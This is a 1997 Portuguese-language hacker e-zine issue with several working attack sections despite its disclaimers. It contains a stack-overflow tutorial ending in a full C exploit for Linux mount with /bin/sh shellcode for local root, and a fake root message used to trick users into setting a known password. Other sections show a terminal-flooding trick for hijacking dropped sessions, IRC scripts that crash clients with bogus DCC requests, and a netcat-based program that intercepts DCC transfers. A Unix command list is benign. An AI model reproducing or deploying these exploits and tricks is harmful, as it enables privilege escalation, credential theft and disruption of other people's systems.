

.oO <Start> Oo.

:::::::::::::::::::::::::::::::::::::::::::::::::::::
:::::::""`````""::::::""`:.:`""::"`````"::'"```'.::::
:::: .g#S$$$$$S#n  .g#S$$   $$S#n. $$$S#s s#S$$$ ::::
:::: $$$$$$ $$$$$  $$$$$$ $ $$$$$$ .  $$$ $$$   .::::
:::: $$$$$$g$$$$$. $$$$$$ $ $$$$$$ :'  $$g$$   .:::::
:::: $$$$$$ $$$$$$ $$$$$$ $ $$$$$$ ' $$$$ $$$$  '::::
:::: $$$$$$  $$$$$ $$$$$$.$.$$$$$$ $$$$$ . $$$$$ ::::
:::: $S$$$$   $$$$ `S$$$$s s$$$$S'.`S$$  :  $$S'.::::
::::.......:.....:::.............:::....:::....::::::
:::::::::::::::::::::::::::::::::::::::::::::::::::::

RWX n. 01

dia: 1o/o9/97
(melhor visto com vi, ou edit)

Endereco: www.cyberspace.org/~rwx
          www.st.com.br/~rwx

E-mail: rwx@valise.com
        rwx@st.com.br

---------------------------------------------------------------------[rwx]-

"E' facil  ter-se um sistema de computacao  seguro. Voce  meramente tem  de
desconectar  o seu  sistema de  qualquer rede externa , e permitir  somente
terminais ligados diretamente a ele. Por a maquina e seus terminais em  uma
sala fechada, e um guarda na porta."

F.T Grampp e R.H. Morris

---------------------------------------------------------------------[rwx]-
ESCLARECIMENTO
~~~~~~~~~~~~~~

Esta e' uma zine voltada a area de seguranca , seja qual  for sua  intencao
em ler nao nos responsabilizamos  pelo mau uso das informacoes aqui  conti-
das. Nao estamos  aqui pra ensinar ninguem a ser Hacker ou  um  terrorista,
nosso  objetivo e a pura troca  de informacao  entre pessoas  que buscam  o
conhecimento na rede, e nos opomos aqueles que so visam o lucro. Caso  dis-
corde de algo  ou tenha alguma sujestao, escreva-nos, ficaremos  felizes em
ouvi-lo.

---------------------------------------------------------------------[rwx]-
INDICE
~~~~~~

 faqz, textos
 01#. INTRODUCAO................................................group
 02#. OVERFLOWS.................................................auth
 03#. HACKEANDO UNIX SYSTEM - Metodos Classicos p1..............skynet
 04#. LISTA COMPLETA DE COMANDOS UNIX 2.........................DmS
 05#. IRC DCC problems..........................................auth
 06#. UM POUCO DE HARDWARE......................................Kbyte
 07#. LINUX TRICKS..............................................Kbyte
 08#. BACKDOOR's..............................................._KniGHT_
 09#. WEBstar...................................................auth
 10#. Caching (dns)p1...........................................icmp

 exploits, bugs
 11#. COLOR_XTERM...............................................DmS
 12#. Ld_S0{1.9.2}............................................._KniGHT_
 13#. NT DoS (denial of services)...............................auth

 finalizacoes, pedidos, agradecimentos, emails
 14#. EMAILS
 15#. FUTURO
 16#. PALAVRAS FINAIS

---------------------------------------------------------------------[rwx]-
01# INTRODUCAO
~~~~~~~~~~~~~~

Well, well, well, depois daqueles mails, ficamos  ate sem graca de  nao ter
respondido todos, mas, dai da pra ter uma leve nocao, doque nossa sociedade
do cyberspace esta se tornando, a  concorrencia esta matando, cada um  quer
pisar na cabeca do concorrente, ate ontem mesmo teve um amigo meu, que para
meu ver trabalhava muito bem de webadmin, foi despedido, por uma coisa  que
nao tem nada haver com sua funcao, mas, para que ? bom, a sede da  internet
vem revolucionando todos os  meios de telecomunicao, no futuro nao ira mais
existir correios, as vezes,muitos as vezes, nem aparelhos de televisoes,nem
de radios, tudo se baseia  agora nessa super rede, ligada simplesmente  por
cabos, e satelites. Em que fim isso levara, imagine, se  todos nesse mundo,
que esta virando 'globalizado', terem em mente 'detonar' essa  rede, em que
mundo  viveremos, no futuro, claro, nao e' mais historias de rpg, que temos
computadores ligadas  diretamente ao cerebro humano, que seguranca teremos?
nao sei  ao  certo, mas estamos  aqui para ajudar, pelo menos ate  onde nos
soubermos, e assim vai  indo. Nao  temos nossa  pagina  atual  ainda, pois,
recebemos emails  de acho  que, 3 provedores, mas, ai, mandamos nosso  mail
pra essa galera, mas, nada de resposta. Oque eh isso, sera que nada vai ser
consientizado ? po, recebemos muitos emails de usuarios parabenizando  pela
nossa iniciativa, para esses obrigado, e que continuem a mandar seus mails,
mas tipo, mas que mandem mesmo, so' assim saberemos que voces estao  lendo,
e como  mudar algo que nos  fizemos. Chega de bla,bla,bla... Vamos  ao  que
interessa,agora temos  mais dois 'irmaozinho BASH',o nome das  figuras  sao
kbyte, e Knight, eles com certeza sabem oque  estarao escrevendo, por isso,
espero  a todos mais uma  sincera colaboracao, com  eles. :), Nessa  edicao
do zine, teremos algumas coisas legais,do tipo,aqueles segredos do overflow
,lembram daqueles exploits de mount,de rlogin, e tudo ? tai, em vez de voce
so' ir  pegar o  exploit la na cert, ou em outro lugar, explicamos  de modo
simples.Tem tambem, algumas  tecnicas de  invasao, as  tecnicas  classicas,
aquelas em que, o admin, faz mais parte do que o 'invasor'.Tambem  temos  o
DmS,colocando em pratica a segunda parte dos comandos, acho  que e' a maior
lista, e  mais completa de comandos unixoides em portugues. Fora as  partes
dos problemas de DCC,e as partes de hardware e algo complementand os textos
anteriores. Entao, nao deu para colocarmos  muita coisa de mac, e fico  soh
um testinho pequeno, infelizmente, empurramos para a proxima! :))
Enfim,fizemos oque era esperado acho que deu para superar a versao passada,
e assim, ate conseguirmos achar um admin que nos ache um lugar.

Pedido de desespero: MANDEM EMAILS! e que algum admin sagrado nos ajude! :)

O grupo
/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

01# OVERFLOWS
=============
auth 97

Bom,esta parte,reservo aos  programadores de nivel medio a superior, estara
detonando na parte completa de stack overflows  em sistemas unix, mas, como
ja  existe muito texto porai  com muita  coisa disso, aqui  ficou um  pouco
resumida, por isso, nem ligue se voce nao achar este  texto la aquela coisa
legal,  so' quero  introduzir oque, e os perigos existentes  nos overflows,
mas, se voce  quiser saber mais sobre assembler, peco  a ir procurar um bom
manual na net!

--------------------------------------------------------------------[auth]-
Stack - introducao
~~~~~~~~~~~~~~~~~~
a principal  funcao de  qualquer cpu, e' processar e mover data, em  quanto
processa ou move algo,o cpu necessita de algum lugar para salvar informaco-
es importantes rapidamente. essa  informacao e' salva no  stack. o stack e'
uma parte especial da memoria,que pode ser acessada com comandos especiais.
o stack e' variavel em tamanho e posicao.

:se um registro N e' usado e um sub-processo e' executado tambem,o registro
N, e' salvo no stack,que logo apos o processo ter acabado, sera recuperado.
para a rapidez,o cpu usa varios comandos especiais de stack, q proporcionam
mais rapidez as mudancas.
:se um processo e' executado  e o cpu precisa saber onde voltar  em caso do
processo terminar, o 'return adress' e' salvo no stack, antes de executar o
processo e  depois de  terminado, o cpu  vai ao 'return adress' guardado no
stack.

se um programa cria  ou recebe  info, a nova  info tem que  ser guardada na
memoria,todos os programas usam 'dynamic data' para guardar informacoes, ou
seja, a CPU cria os espacos na stack, se ela for usada, sera usada, mas  se
ela nao for mais precisa, as variaveis serao dinamicas.

:se um processo ira mexer em duas variaveis, precisara da terceira (c) para
guardar.A variavel (c) sera instalada no stack e removida quando o processo
for terminado.

 (a <-> b)
  c <-  b
  a <-  b
 (b <-  c)

isso foi so' uma  base para o que e' de que forma e' feito o  funcionamento
do stack, mas o lado  malefico disso,  sao os exploits, que  sao muito  bem
feitos, para o usuario conseguir root, e assim detonar seu sistema.

--------------------------------------------------------------------[auth]-
Estrutura do Stack
~~~~~~~~~~~~~~~~~~
a primeira coisa  guardada no stack sera  a ultima a ser lida, e a ultima a
ser guardada sera a primeira  a ser lida, esse sistema e' chamado de  LIFO,
ou "last in,first out" (ultimo dentro, primeiro a sair),vamos a um exemplo,
vamos executar um programa (em caso, para conseguir root mais tarde, hehe),
como o stack pareceria quando o processo chamaria suas variaveis dinamicas?

                          .
                          :   ...                 .
                          |-----------------------:
             -2048 bytes  |   local array1[1024]  |  ...
                          |-----------------------|
             -1024 bytes  |   local array2[1024]  |  size 1024 bytes
                          |-----------------------|
  posicao atual do stack  |   base pointer        |  size 4 bytes
                          |-----------------------|
                +4 bytes  |   return adress       |  size 4 bytes
                          |-----------------------|
                +4 bytes  :   parametros ...      |  ...
                          .                       :

as variaveis sao  diferentes, e a informacao e' guardada no stack, todo cpu
usa um 'stack pointer', para  marcar a posicao atual, e' chamada  de SP. as
partes a serem analizadas  serao o 'local array2' e o 'return  adress', so'
isso e' necessario para termos root.

--------------------------------------------------------------------[auth]-
Mandando bronca no 'return'
~~~~~~~~~~~~~~~~~~~~~~~~~~~

lembrando,quando e' executado algo,o CPU salva um 'return adress' no stack,
se o processo e' finalizado, o cpu pula e acha o 'return adress'. mas, se o
processo salva mais  bytes em uma variavel local do que seu tamanho normal,
ira acontecer o 'overwrite', ira  sobrescrever  o 'return adress' antigo, e
assim sera nomiado 'overflow'.

se (1024+8)1032 vezes o caractere "x" for escrito no array2 local,o proces-
so ira escrever novamente o 'return adress'. e o stack ira parecer:


                          .
                          :   ...                 .  .
                          |-----------------------:
             -2048 bytes  |   local array1[1024]  |  ...
                          |-----------------------|
             -1024 bytes  |   1024 times "X"      |  size 1024 bytes
                          |-----------------------|
  posicao atual do stack  |      4 times "X"      |  size 4 bytes
                          |-----------------------|
                +4 bytes  |      4 times "X"      |  size 4 bytes
                          |-----------------------|
                +4 bytes  :   parametros ...      |  ...
                          .                       :

assim, agora nos poderemos forcar o programa a pular onde nos quizermos!
ira sera muito legal. poderemos criar um codigo no 'local variable'.
                                                  .
                          :   ...                 .
                          |-----------------------:
             -2048 bytes  |   local array1[1024]  |
                          |-----------------------|
             -1024 bytes  |   our code            | < -
                          |-----------------------|    |
  posicao atual do stack  |   4 bytes de lixo     |    |
                          |-----------------------|    |
                +4 bytes  |   nosso codigo! hehe  | ___|
                          |-----------------------|
                +4 bytes  :   parametros ...      |
                          .                       :

se  esse  programa e'  'ownned' do  root, e tem a 'suid  flag' datada  como
um normal user, teremos  privilegio de root  quando executada, nosso codigo
pode fazer algo como 'root', hehe.

--------------------------------------------------------------------[auth]-
Executando a shell em assembler ou em c
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
se nosso  codigo executara uma shell  normal, e nos  criamos o programa  de
overflow,poderemos ter todos os privilegios de root.nos precisaremos agora,
e' de um pequeno codigo em assembler que ira executar a shell,nao e' neces-
sario mesmo executar a shell,mas, neste caso, oque interessa e' o root. he,
voce  pode conseguir  a shell em assembler, ou  compilar  ela em 'c', com a
denominacao do 'execshell'.

 codigo em assembler:
 ~~~~~~~~~~~~~~~~~~~~
                jmp    end_of_code
 execve:        popl   %esi
                movl   %esi,0x8(%esi)
                xorl   %eax,%eax
                movb   %eax,0x7(%esi)
                movl   %eax,0xc(%esi)
                movb   $0xb,%al
                movl   %esi,%ebx
                leal   0x8(%esi),%ecx
                leal   0xc(%esi),%edx
                int    $0x80
                xorl   %ebx,%ebx
                movl   %ebx,%eax
                inc    %eax
                int    $0x80
 end_of_code:   call   exec_prog
                .string "/bin/sh\"

 codigo em c:
 ~~~~~~~~~~~~
 char execshell[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
        "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
        "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

se voce prestar atencao acrescentamos 8 bytes, se quizermos mexer no
'return adress', nos teremos  que sobrescrever 4 bytes da 'base pointer', e
4 bytes do 'return adress'.

 #define lv_size=1024
 char buffer[lv_size+8]

   ...  <bla> <bla> <bla> <bla> <bla> <codigo com a shell>

olhando este proximo exemplo feito em C,poderemos aprender como fazer isso,
lv_size eh usado como o tamanho da variavel,execshell,e' usada como 'char',
como nosso codigo  em assembler, teremos ali  tambem, o lugar onde o  shell
sera executado. ptr e' o pointer que sera o espaco que iremos copiar  sobre
a variavel local.

ex 1:

    for(i=0;i<lv_size-strlen(execshell);i++)
    ptr[i]=0x90;
    for(i=0;i<strlen(execshell);i++)
    ptr[i+lv_size-strlen(execshell)]=execshell[i];

ex 2:

    memset(ptr,0x90,lv_size-strlen(execshell));
    ptr+=lv_size-strlen(execshell);
    for(i=0;i<strlen(execshell);i++)
    *(ptr++)=execshell[i];

--------------------------------------------------------------------[auth]-
Retornando ao verdadeiro Stack
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
voce  lembra qual posicao e  tamando a  variavel no stack  tinha ? se  nao,
volte atras, nos  usaremos uma pequena funcao para pegar o lugar do  stack,
salvando o SP, este  endereco e' o comeco  da stack, antes  de instalar  as
variaveis locais, e os 'return adress', sera datado como VSP (sp velho).
teremos que adicionar uma  variavel offset no vsp, este offset tem  que ser
grande para  que o cpu bata novamente em um nop, quando pular para achar  o
'return adress'.

---------------------------------------------------------------------------
 no operation - nop - para sistemas diferentes:
---------------------------------------------------------------------------
 linux/i80386+                            -  char nop[1]=0x90;
 bsd/os/i80386+ and freebsd/i80386+       -  char nop[1]=0x90;
 solaris/sparc processor                  -  char nop[4]=0xac15a16e;
 sunos/sparc processor                    -  char nop[4]=0xac15a16e;
 hp-ux9/hp9000                            -  char nop[4]=0xac15a16e;

                          .                       .
                          :                       .
                   VSP -> |-----------------------:        ------
             -2048 bytes  |   local array1[1024]  |              | offset
                          |-----------------------|              | maior
             -1024 bytes  |   <...>               |              | que
                          |   <bla>               |              | 1024
                          |   <bla>               |        ______|
                          |   <bla>               | < -   VSP + offset
                          |   <bla>               |    |
                          |   <nosso codigo>      |    |
                          |-----------------------|    |
  posicao atual do stack  |   4 bytes de lixo     |    |
                          |-----------------------|    |
                +4 bytes  |   adress: VSP+offset  | ___|
                          |-----------------------|
                +4 bytes  :   parametros ...      |
                          .                       :
                                                  .
Ex 1:
 ptr2=(long *)ptr;
 *ptr2=get_sp()+offset;

Ex 2:
 ptr2=(long *)ptr;
 for(i=1;i<8;i++)
 *(ptr2++)=get_sp()+offset;

--------------------------------------------------------------------[auth]-
Comandos de 'enviroment'
~~~~~~~~~~~~~~~~~~~~~~~~
agora, chega de basico, vamos ao  interessante, o programa que sera atacado
sera 'owned' do root. exemplo de como achar:

-------------------------------------------------------------------[corte]-
 #!/bin/sh
 find /bin -user root -perm +a=s > suid.lst
 find /sbin -user root -perm +a=s >> suid.lst
 find /usr/bin -user root -perm +a=s >> suid.lst
 find /etc -user root -perm +a=s >> suid.lst
 find /var -user root -perm +a=s >> suid.lst
-------------------------------------------------------------------[corte]-

voce deve estar cansado  disso, mas, esqueci de falar uma coisa, como  voce
achara um programa que seja bugado para o overflow ?

cat /teste.teste
    ^ variavel (tipo: char[256])

usando uma variavel de 'enviroment', "set TERM=4321"
o programa  ira usar a variavel TERM no  buffer, mas o tamanho desse buffer
pode ser diferente, na  ordem de dar  'overflow', ira checar  os  tamanhos,
como '256, 512,1024...', os  programas mais faceis de  dar 'overflow', sao:

 mount.c  - linux version: < 2.0.8
 rdist.c  - all bsd version: 2.0
 rlogin.c - solaris version: 2.5 & 2.5.1

Exemplo de mount:

/* -----------------------------------------------------------------------
   mount.c - mount exploit for linux - version: < 2.0.10
   ----------------------------------------------------------------------- */

 #include <stdio.h>

 #define lv_size  1024
 #define offset     30+lv_size+8*4
 // --------------------------------------------------------------------------
 long get_sp()
 {
   __asm__("movl %esp, %eax");
 }
 // --------------------------------------------------------------------------
 main(int argc, char **argv)
 {
   char execshell[] =
          "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
          "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
          "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

  char buffer[lv_size+4*8];
  unsigned long *ptr2 = NULL;
  char           *ptr = NULL;
  int           i;

  for(i=0;i<lv_size+4*8;i++)
   buffer[i]=0x00;
  ptr=buffer;

  for(i=0;i<lv_size-strlen(execshell);i++)
   *(ptr++)=0x90;
  for(i=0;i<strlen(execshell);i++)
   *(ptr++)=execshell[i];
  ptr2=(long *)ptr;
  for(i=1;i<2;i++)
   *(ptr2++)=get_sp()+offset;

  printf("rwx rox!\n");
  (void)alarm((int)0);
  execl("/bin/mount", "mount", buffer, NULL);
 }

-------------------------------------------------------------------[corte]-
se voce notar, vc ira ver que tudo  oque foi explicado esta neste  exemplo,
por exemplo:

 #define lv_size  1024
 #define offset     30+lv_size+8*4 <---- acrescentados

========

 uso do 'execshell':

 char execshell[] =
          "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
          "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
          "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

========

 printf("rwx rox!\n"); <--- "rwx rox"...
  (void)alarm((int)0);
  execl("/bin/mount", "mount", buffer, NULL); <--- programa...


espero ter colaborado a turma ai, a ver e aprender um pouco sobre os
'overflows', nao se esqueca, isso e' somente para demonstracao!
proxima edicao tem mais!

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

03# HACKEANDO UNIX SYSTEM - Metodos Classicos - parte 1
=======================================================
By SKyNet

Hi d00dz,

Um Pouco de historia
~~~~~~~~~~~~~~~~~~~~
Num certo dia de 1993, como era de costume,liguei pro modem de uma institui-
cao do governo  de Pernambuco. Na  epoca, o acesso a internet era  restrito,
somente Universidades e Orgaos do Governo  tinham  acesso.
Sendo  eu  um  simples  estudante  do segundo  grau  nao  podia  ter  acesso
a internet, pois nao existiam  provedores comerciais. Entao eu e mais alguns
amigos acessavamos a Internet explorando um bug no Gopher dessa maquina  que
nos  dava acesso  direto ao Telnet  Client. So  que numa  dessas  investidas
aconteceu uma  coisa incrivel comigo, por muita sorte cai sem mais nem menos
direto  no  shell  do root!  A  partir  desse  dia  fiquei  me  perguntando:
Como isso e possivel??? Entao passei  a estudar o caso com mais  atencao. Li
dezenas de  textos, livros, e com a  troca de informacao com meus amigos  do
underground adiquiri alguns conhecimentos. Pretendo passar alguma coisa  que
aprendi.Vc que e Admin de algum sistema,seja qual for,use para seu proveito,
so nao quero que venham me acusar de terrorismo de redes!

1.Introducao
~~~~~~~~~~~~
Nesta materia vou descrever  algumas das tecnicas mais usadas pra se hackear
Unix System, nao com mas intencoes,muito pelo contrario, quero deixar  claro
que  o  que vai ser explicado eh com fim  de  esclarecer muita gente  que as
vezes eh vitima.  Algumas  dessas tecnicas sao  bastante  antigas, nao  e  a
toa que denominei o titulo dessa materia de "Metodos  classicos", creio  que
todos os Admins (competentes) ja  devam conhecer pelo menos d e ouvir falar.
Mas, visamos tambem o leitor com menos conhecimento no assunto.
Por uma questao de  espaco resolvi  resumir algums pontos,se nao esse  texto
iria ficar tao grande que poderia ocupar 50% do tamanho dessa zine! :-)

2. Roubando senha de usuarios (Metodo Burlando Terminais)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Algumas versoes do Unix  vem com  permicao de escrita no  terminal  e o mesg
vem  habilitado  por default. Isso permite que vc  "brinque" de gato e  rato
os usuarios  menos experientes podendo desde  desconecta-los do sistema  ate
o roubo de suas senhas.

3. Fake write
~~~~~~~~~~~~~
O primeiro metodo e  o mais simples consiste  em mandar um "fake root write"
para um usuario  do sistema solicitando  a alteracao de sua  senha. A  coisa
parece ser muito facil falando assim, mas vc tem que ter muita malicia, alem
de  saber  fazer a coisa  na hora certa, com a pessoa certa. Vou citar ainda
nesta materia algumas dicas de como e quando vc deve usar o Fake Write.
Vejamos...
Primeiro devemos  escolher um usuario. Mas  que usuario?! Nesse caso  o mais
ingenuo possivel! Pois  o cara  tem que ser  realmente muito  "inocente" pra
cair numa dessas... pior que  eh o  que nao  falta  por ai. Embora esse  nao
seja meu estilo  de pegar  senhas, ja  vi muito  casos assim. Geralmente  um
usuario inexperiente e aquele que so acessa o sistema basicamente pra checar
emails ou outras atividades unicas,e comum encontrarmos esse tipo de usuario
em algumas Universidades.

Os unicos requisitos necessarios pra usar a tecnica abaixo e ter  obviamente
uma conta no sistema e principalmente que os terminais estejam com  permicao
de escrita. Algumas versoes  do Unix vem com  permicao +w por default, nesse
caso facamos o seguinte...

 cyberdine:/tmp$ cat > fkmsg
 [Aqui vc digita a mensagem que deseja enviar]

 Message from root console...

 Caro usuario,
 Para  sua seguranca  estamos fazendo troca de senhas em nosso servidor, por
 favor altere sua senha para "abcd9206".

 Agradeco sua compreencao.
 Skynet
 (Gerente de Seguranca Internet)
 <EOF>

 [CTRL-C]
 cyberdine:/tmp$

 OBS: Vc deve usar sua criatividade, pode fazer qualquer coisa com isso!
      Agora vamos ver em quem vamos usar.

 cyberdine:/tmp$ w
   7:41am  up 20 min,  3 users,  load average: 0.78, 0.27, 0.11
 User     tty      From              login@  idle   JCPU  PCPU  what
 victim   tty1                       7:23am     1               vi lamah.txt
 skynet   tty2                       7:37am                     w

K00l!  Escolhida  a vitima, o que nos  interessa acima e apenas o  nome  do
terminal que o mesmo ta logado.
Agora vamos mandar o conteudo da "mensagem" para que ele receba na tela....

 cyberdine:/tmp$ cat fkmsg >/dev/tty2

hehehe... se ele for MUITO otario vai cair na sua!
Caso nao tenha conseguido exito, nao  desanime ha coisas melhores ainda  por
vir. ;-)

-------------------------------------------------------------------[skynet]-

 4. DETACHED ACCOUNTS
 ====================
 Systemas (Unix System V, SunOS, XENIX,..???..)

Um dos mais fantasticos furos nos sistemas Unix que apavoravam os admins.
Pra quem nao sabe dele vou falar um pouco a respeito.
Lembram no inicio do texto que eu falei sobre o que tinha acontecido comigo
numa vez que eu tinha caido numa shell sem  ao menos ter digitado o login?!
Poise, aquilo foi nada mais do que uma detached account, que foi deixada no
sistema ou por algum hacker que no momento tentava detonar a maquina,ou,por
puro acidente mesmo. Mas como eu sei se ha uma detached account no sistema?
Bah, vc nao deve fazer nada, vc deve provoca-la, heheheheh!!
Pra isso precisamos q o system deve estar com permicao de write no terminal.
veja o exemplo:

 cyberdine:/tmp$ cat /bin/sh >/dev/tty2

 OBS: Quanto MAIOR for o arquivo binario, melhor ainda...

Isso vai fazer com que apareca na tela do cara um monte de sujeira que fica
passando insistentemente ate que ele seja OBRIGADO a desconectar sem usar o
LOGOUT! E ai que comeca nossa brincadeira,.
Pra ter certeza de que ele desconectou basta dar um 'who' se aparecer outro
nome igual aquele  que vc detonou, certamente ele conectou novamente. Resta
agora tentar  entrar no  sistemas repetidas  vezes  ate cairmos no terminal
detached e com isso na conta daquela pessoa que derrubamos! Simples,han?!

Proxima edicao tem mais! :)

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

04# Unix Commands PARTE 2 by DmS
================================
Como prometido irei continuar a lista de comandos para UNIX!! :)
---------------------------------------------------------------------------

mount   Serve para "mountar"(Tornar o algo importado como uma coisa local)
        um diretorio ou particao. Por exemplo se voce quiser visualizar o
        conteudo de um disquete, voce o "mounta" com o mount.
        Linha: mount origem destino

        "Mountando" o floppy :
        Crie um dir no raiz chamado /floppy e digite:
        mount /dev/fd0 /floppy  ou
        mount /dev/fd1 /floppy dependendo do local do seu floppy. Se
        ele for drive A: no DOS sera fd0, se for B: sera fd1.
        Ai vc vera o conteudo do disquete a partir do dir /floppy

        "Mountando" o CD-ROM :
        Crie um dir no raiz chamado /cdrom e digite:
        mount -t iso9660 -r /dev/cdrom /cdrom
        Todo o conteudo do CD sera visualizado no dir /cdrom

umount  Serve para "desmountar" um diretorio ou particao.
        Apos voce "mountar" qualquer coisa e nao quiser mais usar-lo, voce
        tera que "desmounta-lo". A linha do comando umount sera sempre
        umount <dir>.

df      Utulizado para visualizar espao nas particoes.
        Exemplo:
        Filesystem         1024-blocks  Used Available Capacity Mounted on
        /dev/hdb1             791155  285322   464961     38%   /
        /dev/hda1            2060032 1080544   979488     52%   /dosc

du      Visualizar espaco ocupado por aqueles arquivos do diretorio.
        Opcoes aconselhadas: -a

cc      Compilador C do sistema UNIX.
        Opoes: -o
        Linha: cc -o arquivo arquivo.c

find    Procurar arquivos no sistema
        Linha: find diretorio_do_arquivo -name nome_do_arquivo

cp      Copiar e/ou duplicar arquivos
        Linha: cp origem_do_arquivo destino_do_arquivo          ou
               cp arquivo arquivo1

mv      Mover e/ou renomear arquivos
        Linha: mv origem_do_arquivo destino_do_arquivo          ou
               mv arquivo arquivo1

date    Exibe data e hora do sistema

grep    Comando usado para identificar um linha em certo arquivo.
        Exemplo: grep rwx /etc/passwd     ou
                 cat /etc/passwd | grep rwx
        Ele verificara todas as entradas rwx no arquivo passwd.

free    Mostrara a quantidade de memoria fisica e a memoria swap livre e
        usada pelo sistema, como tambem mostrara shared memory e buffers
        usados pelo kernel.

head    Usado para mostrar as dez primeiras linhas(default) de um certo
        arquivo.
        Linha: head -c Nb arquivo ; onde N e o numero de bytes que serao
        exibidos. Vc pode usar em vez da letra b apos o N, as letras
        k(kilobytes) ou m(megabytes).

tail    Verifica as 10 ultimas linha dum certo arquivo, e com a
        opcao -f espera infinitamente por novas linhas no final.
        Perfeito para se usar em logs.
        Opcoes: -f
        Linha: tail -f arquivo

ln      Serve para linkar um arquivo a um diretorio ou outro arquivo.
        Linha: ln origem destino

netstat Mostra todas as conexoes TCP, UDP, RAW e UNIX sockets.
        Opcoes: -a

su      Comando usado para trocar de user sem precisar dar um logout.
        Recomendado usar-lo sempre ainda mais se vc for um admin pois
        ficar logado como root nao e aconselhavel.
        Linha: su <user>
        E logo depois ele pedira a senha se vc for um user normal. Se for
        o root do sistema nao ira precisar de senha alguma.

touch   Cria um arquivo vazio.
        Linha: touch arquivo

uname   Exibe informacoes do sistema.
        Opcoes: -a

mailx   Verifica novos mails na caixa de mensagem.
        
showmount
        Exibe diretorios mountados da maquina local ou qualquer outra.
        Opcoes: -ae
        Linha: showmount -ae IP_DA_MAQUINA

Proxima edicao tem mais!

/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/

05# IRC DCC problems
====================
auth 97

Este texto,nao e' para qualquer cara chegar e comecar a derrubar os outros,
por isso, e' so' mais um texto para os admins lerem e ver, oq seus usuarios
'bonzinhos' podem fazer com sua rede de irc, por isso, e' necessario  setar
bots e dar uma dura em muitos ircops porai.

DCC e' o irc protocolo de 'client-side'usado para mandar informacao direta-
mente entre dois clientes, normalmente,quando uma mensagem e' mandada entre
2 clientes,ela vai do cliente do usuario ate o seu servidor,do seu servidor
ele ira para o servidor do outro usuario,e assim chegara ao cliente do usu-
ario.

Esquema:

        1. Seu cliente de irc abre uma porta de tcp (>1024), e espera uma
           conexao.

        2. Seu cliente de irc manda:
           A) o nome do arquivo
           B) seu endereco IP
           C) o numero da porta de tcp
           D) o tamanho do arquivo (em bytes)

        3. O cliente irc quando abre a porta para conexao especifica seu ip,
           transmite um pouco de lixo para inicializar a transferencia, e ai
           joga o file.

        4. Nessa hora, seu cliente de irc, para de receber outras conexoes
           naquela porta.

Alguns Problemas
~~~~~~~~~~~~~~~~
O ircII mais antigo que a versao 2.82 trava,quando alguem tenta mandar-lhe
um arquivo, mas com o ip trocado, um exemplo basico:

dcckill.irc:

echo Loading DCC KILL
echo Syntax: DCCK nick filename size
echo         ^Bfilename^B and ^Bsize^B are bogus values.
alias DCCK {
                ^assign dcc_killing 0
                //quote PRIVMSG $0 :^ADCC SEND $1 12341234 4321 $2^A
                echo *** Sent DCC KILL request to $0
                ^assign dcc_killing 1
           }

Um truque parecido, e' direcionar o cliente remoto de irc para conectar
a alguma porta de alguma maquina em um t3.Voce pode fazer isso para encher
seu colega de testes com lixo.

dccchargen.irc:

echo Loading DCC CHARGEN
echo Syntax: DCCCHARGEN nick filename size
echo         ^Bfilename^B and ^Bsize^B are bogus values.
alias DCCCHARGEN {
                ^assign dcc_charging 0
                //quote PRIVMSG $0 :^ADCC SEND $1 2230084270 19 $2^A
                echo *** Sent DCC CHARGEN request to $0
                ^assign dcc_charging 1
           }

Oque era impossivel para muitos esta na rwx! oque voce pode fazer, eh ver
e interceptar as transferencias de DCC!

dccgrab.c:

/*  dccgrab 0.01      / linux - auth 97 / tem q ter netcat             */

#include <stdio.h>
#include <string.h>

#define TRUE 1
#define FALSE 0

int main (){
  int SnaggedOne;
  FILE *f;
  char NetstatLine [1024];
  char CommandString [1024];
  char *colin = ":";
  char *tempstr;
  int port;
  int i;

  port=1;
  SnaggedOne=FALSE;

  while (!SnaggedOne){
    system ("netstat -a |egrep LISTEN |egrep ':' >/tmp/.dcc2345");
    f=fopen ("/tmp/.dcc2345","rt");
    if (f==NULL) {
      fprintf (stderr,"Cade o file?");
      exit (1);
     }

     port =0;
     while (port == 0) {
       fgets (&NetstatLine[0],1024,f);
       tempstr = strstr (&NetstatLine[0],colin);
       tempstr += sizeof (char);
       sscanf (tempstr,"%d ",&port);
       if (port < 1024) /* aham! */
          port=0;
       if (port == 6000)  /* X */
         port=0;
       if (port == 8080) /* proxy servers */
         port=0;
       /* bots... */
       if (port == 2222)
         port=0;
       if (port == 3333)
        port=0;
       if (port == 4444)
         port=0;
       if (port == 5555)
         port=0;
       if (port == 6666)
         port=0;
       if (port == 7777)
         port=0;
       if (port == 8888)
         port=0;
       if (port == 9999)
         port=0;
       if (feof (f))
         port=-1;
    }

    fclose (f);
    if (port >0) {
      SnaggedOne=TRUE;
      printf ("tracando em %d\n",port);
      sprintf (&CommandString[0],"nc 127.0.0.1 %d < ./telnet.d > snagfile",port
);
      system (CommandString);
    }
    else sleep (1);
  }  /* while !snaggedone*/
  return 0;
}

